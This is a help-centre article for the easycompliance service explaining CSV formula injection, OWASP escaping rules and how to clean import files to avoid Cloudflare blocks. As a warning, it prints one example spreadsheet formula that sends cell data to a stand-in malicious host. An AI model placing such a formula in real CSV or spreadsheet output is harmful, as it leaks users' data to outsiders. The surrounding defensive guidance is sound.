Manual

🇩🇪 Diesen Artikel auf Deutsch lesen

OWASP compliance for CSV files

CSV files can become dangerous when opened in external programs, online tools or Excel, if they contain formulas or a particular sequence of special characters. Below we explain how to create OWASP-compliant CSV files so that importing into easycompliance runs without trouble. Because non-compliant CSV files can be blocked during a manual upload – you then see a warning from Cloudflare.

What is OWASP?

OWASP (Open Worldwide Application Security Project) is an international organisation that publishes best practices for IT security. That includes protection against what are known as CSV or formula injections.

Why can CSV files be dangerous?

A CSV file is really just a table stored as a text file. Each line corresponds to a table row, and the columns are usually separated by a comma or a semicolon. So far, so harmless.

The problem:

  • If a cell starts with certain characters (e.g. =, +, - or @), Excel interprets the content as a formula.
  • Instead of normal data, an attacker could therefore inject formulas that are executed automatically when the file is opened.
  • That way passwords or data could be stolen.

Example:

=WEBSERVICE("http://boese-seite.com?daten="&A1)

On opening the file, this line could send data in the background.

What does "OWASP-compliant" mean for CSV?

To make a CSV file safe, OWASP recommends:

  1. Escape (secure) every value that starts with =, +, - or @. You do that by putting a single ' (apostrophe) in front of it.
    • Unsafe: =SUM(A1:A2)
    • Safe: '=SUM(A1:A2)

  2. Enclose all columns in double quotation marks ":

    "Name";"Customer number"

    This matters particularly when the data is processed by online tools (such as easycompliance).

  3. Export clean data only – no unnecessary special characters or scripts.
  4. Check files before passing them on to others.

How do I prepare my CSV file for easycompliance?

First ask yourself whether those special characters need to be in the columns at all. easycompliance only requires names and, if you like, a reference number (a customer number, for example). Common characters such as those in "GmbH & Co. KG" are unproblematic, but formulas or scripts should as a rule not appear in CSV files intended for import into easycompliance.

There are several easy ways to prepare data for import, if your source systems cannot already generate compliant CSV files:

1. With Excel

  • Open the CSV file in Excel.
  • Look for cells that start with =, +, - or @.
  • Put a ' in front of them, or better still remove the formulas and special characters.
  • Note: Excel does not always display the ', but it does stop Excel from running the formula.

Tip: the find-and-replace function makes this fairly quick.

2. With ChatGPT / AI

You can paste the CSV data (or an extract of it) into ChatGPT, for example, and write: "Make my CSV OWASP-compliant and enclose the columns in double quotation marks. Also remove formulas and scripts." ChatGPT then adds the necessary protective characters and removes unnecessary formulas and scripts, producing a compliant and clean CSV structure.

Example – original CSV:

Name;Customer number
Max Mustermann;=123-45

OWASP-compliant CSV:

"Name";"Customer number"
"Max Mustermann";"123-45"

Note: when working with ChatGPT and similar tools, always observe your internal data protection policies and use a GDPR-compliant variant of the AI tools you deploy.

3. With a CSV tool or a script

For the technically minded there are also small scripts (in Python, for instance) or various online tools that clean the file automatically. That is particularly worthwhile if you have many CSV files.

Good to know

  • Your exports from easycompliance are already protected. Before data is written to a CSV file, easycompliance automatically puts an apostrophe in front of every value that starts with =, +, - or @. Excel and LibreOffice therefore treat the content as plain text rather than a formula. The value itself stays unchanged and fully readable.
  • This applies to every CSV export from the customer portal – the status report of your monitoring list or the data analysis export, for example – and across all modules (sanctions lists, PEP, Dow Jones). You do not have to configure anything.
  • Import files come from you. You decide what they contain – so only use files from a trustworthy source.

Frequently asked questions

My upload is aborted and I see a Cloudflare warning. Why? Your file probably contains formulas or character sequences that are treated as an attack pattern. Prepare the file as described above – Excel or an AI tool is quickest – and upload it again.

Why is there an apostrophe in front of some values in my exported CSV file? That is intentional and part of the protection. If a value starts with =, +, - or @, easycompliance puts an apostrophe in front of it so that Excel or LibreOffice treats the content as text rather than a formula. The value itself stays unchanged.

Is it dangerous to open a CSV file exported from easycompliance in Excel? No. The exported data is prepared before output so that cell contents are not executed as formulas.

Do I always have to prepare my import files by hand? Only if your source system does not produce compliant files. Check the export settings there first – then the extra work disappears for good.

Last reviewed: